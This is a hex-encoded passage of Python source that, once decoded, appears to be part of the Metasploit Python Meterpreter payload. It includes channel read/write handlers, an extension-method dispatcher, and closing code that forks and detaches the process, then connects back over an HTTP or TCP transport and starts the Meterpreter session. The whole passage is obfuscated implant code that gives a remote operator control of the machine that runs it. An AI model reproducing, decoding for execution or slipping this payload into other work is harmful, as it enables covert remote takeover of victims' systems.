696e7465726163745f6368616e6e656c733a0d0a2020202020202020202020202020202073656c662e696e7465726163745f6368616e6e656c732e72656d6f7665286368616e6e656c5f6964290d0a202020202020202020202020656c73653a0d0a2020202020202020202020202020202073656c662e696e7465726163745f6368616e6e656c732e617070656e64286368616e6e656c5f6964290d0a2020202020202020656c6966206368616e6e656c5f696420696e2073656c662e696e7465726163745f6368616e6e656c733a0d0a20202020202020202020202073656c662e696e7465726163745f6368616e6e656c732e72656d6f7665286368616e6e656c5f6964290d0a202020202020202072657475726e204552524f525f535543434553532c726573706f6e73650d0a20202020646566205f636f72655f6368616e6e656c5f726561642873656c662c726571756573742c726573706f6e7365293a0d0a20202020202020206368616e6e656c5f69643d7061636b65745f6765745f746c7628726571756573742c544c565f545950455f4348414e4e454c5f4944295b2776616c7565275d0d0a20202020202020206966206368616e6e656c5f6964206e6f7420696e2073656c662e6368616e6e656c733a0d0a20202020202020202020202072657475726e204552524f525f4641494c5552452c726573706f6e73650d0a20202020202020206368616e6e656c3d73656c662e6368616e6e656c735b6368616e6e656c5f69645d0d0a20202020202020207374617475732c726573706f6e73653d6368616e6e656c2e636f72655f7265616428726571756573742c726573706f6e7365290d0a20202020202020206966206e6f74206368616e6e656c2e69735f616c69766528293a0d0a20202020202020202020202073656c662e68616e646c655f646561645f7265736f757263655f6368616e6e656c286368616e6e656c5f6964290d0a202020202020202072657475726e207374617475732c726573706f6e73650d0a20202020646566205f636f72655f6368616e6e656c5f77726974652873656c662c726571756573742c726573706f6e7365293a0d0a20202020202020206368616e6e656c5f69643d7061636b65745f6765745f746c7628726571756573742c544c565f545950455f4348414e4e454c5f4944295b2776616c7565275d0d0a20202020202020206966206368616e6e656c5f6964206e6f7420696e2073656c662e6368616e6e656c733a0d0a20202020202020202020202072657475726e204552524f525f4641494c5552452c726573706f6e73650d0a20202020202020206368616e6e656c3d73656c662e6368616e6e656c735b6368616e6e656c5f69645d0d0a20202020202020207374617475733d4552524f525f4641494c5552450d0a20202020202020206966206368616e6e656c2e69735f616c69766528293a0d0a2020202020202020202020207374617475732c726573706f6e73653d6368616e6e656c2e636f72655f777269746528726571756573742c726573706f6e7365290d0a20202020202020206966206e6f74206368616e6e656c2e69735f616c69766528293a0d0a20202020202020202020202073656c662e68616e646c655f646561645f7265736f757263655f6368616e6e656c286368616e6e656c5f6964290d0a202020202020202072657475726e207374617475732c726573706f6e73650d0a20202020646566206372656174655f726573706f6e73652873656c662c72657175657374293a0d0a2020202020202020726573706f6e73653d7374727563742e7061636b28273e49272c5041434b45545f545950455f524553504f4e5345290d0a20202020202020206d6574686f645f746c763d7061636b65745f6765745f746c7628726571756573742c544c565f545950455f4d4554484f44290d0a2020202020202020726573706f6e73652b3d746c765f7061636b286d6574686f645f746c76290d0a2020202020202020726573706f6e73652b3d746c765f7061636b28544c565f545950455f555549442c62696e61736369692e6132625f686578286279746573285041594c4f41445f555549442c275554462d38272929290d0a202020202020202068616e646c65725f6e616d653d6d6574686f645f746c765b2776616c7565275d0d0a202020202020202069662068616e646c65725f6e616d6520696e2073656c662e657874656e73696f6e5f66756e6374696f6e733a0d0a20202020202020202020202068616e646c65723d73656c662e657874656e73696f6e5f66756e6374696f6e735b68616e646c65725f6e616d655d0d0a2020202020202020202020207472793a0d0a2020202020202020202020202020202064656275675f7072696e7428275b2a5d2072756e6e696e67206d6574686f6420272b68616e646c65725f6e616d65290d0a20202020202020202020202020202020726573756c743d68616e646c657228726571756573742c726573706f6e7365290d0a20202020202020202020202020202020696620726573756c74206973204e6f6e653a0d0a202020202020202020202020202020202020202072657475726e0d0a20202020202020202020202020202020726573756c742c726573706f6e73653d726573756c740d0a20202020202020202020202065786365707420457863657074696f6e3a0d0a2020202020202020202020202020202064656275675f74726163656261636b28275b2d5d206d6574686f6420272b68616e646c65725f6e616d652b2720726573756c74656420696e20616e206572726f7227290d0a20202020202020202020202020202020726573756c743d6572726f725f726573756c7428290d0a202020202020202020202020656c73653a0d0a20202020202020202020202020202020696620726573756c7420213d204552524f525f535543434553533a0d0a202020202020202020202020202020202020202064656275675f7072696e7428275b2d5d206d6574686f6420272b68616e646c65725f6e616d652b2720726573756c74656420696e206572726f723a2023272b73747228726573756c7429290d0a2020202020202020656c73653a0d0a20202020202020202020202064656275675f7072696e7428275b2d5d206d6574686f6420272b68616e646c65725f6e616d652b2720776173207265717565737465642062757420646f6573206e6f7420657869737427290d0a202020202020202020202020726573756c743d6572726f725f726573756c74284e6f74496d706c656d656e7465644572726f72290d0a0d0a202020202020202072657169645f746c763d7061636b65745f6765745f746c7628726571756573742c544c565f545950455f524551554553545f4944290d0a20202020202020206966206e6f742072657169645f746c763a0d0a20202020202020202020202072657475726e0d0a2020202020202020726573706f6e73652b3d746c765f7061636b2872657169645f746c76290d0a202020202020202072657475726e20726573706f6e73652b746c765f7061636b28544c565f545950455f524553554c542c726573756c74290d0a5f7472795f746f5f666f726b3d5452595f544f5f464f524b20616e642068617361747472286f732c27666f726b27290d0a6966206e6f74205f7472795f746f5f666f726b206f7220285f7472795f746f5f666f726b20616e64206f732e666f726b28293d3d30293a0d0a2020202069662068617361747472286f732c2773657473696427293a0d0a20202020202020207472793a0d0a2020202020202020202020206f732e73657473696428290d0a2020202020202020657863657074204f534572726f723a0d0a202020202020202020202020706173730d0a20202020696620485454505f434f4e4e454354494f4e5f55524c20616e64206861735f75726c6c69623a0d0a20202020202020207472616e73706f72743d487474705472616e73706f727428485454505f434f4e4e454354494f4e5f55524c2c70726f78793d485454505f50524f58592c757365725f6167656e743d485454505f555345525f4147454e542c0d0a20202020202020202020202020202020687474705f686f73743d485454505f484f53542c687474705f726566657265723d485454505f524546455245522c687474705f636f6f6b69653d485454505f434f4f4b4945290d0a20202020656c73653a0d0a20202020202020207472616e73706f72743d5463705472616e73706f72742e66726f6d5f736f636b65742873290d0a202020206d65743d507974686f6e4d65746572707265746572287472616e73706f7274290d0a202020206d65742e72756e2829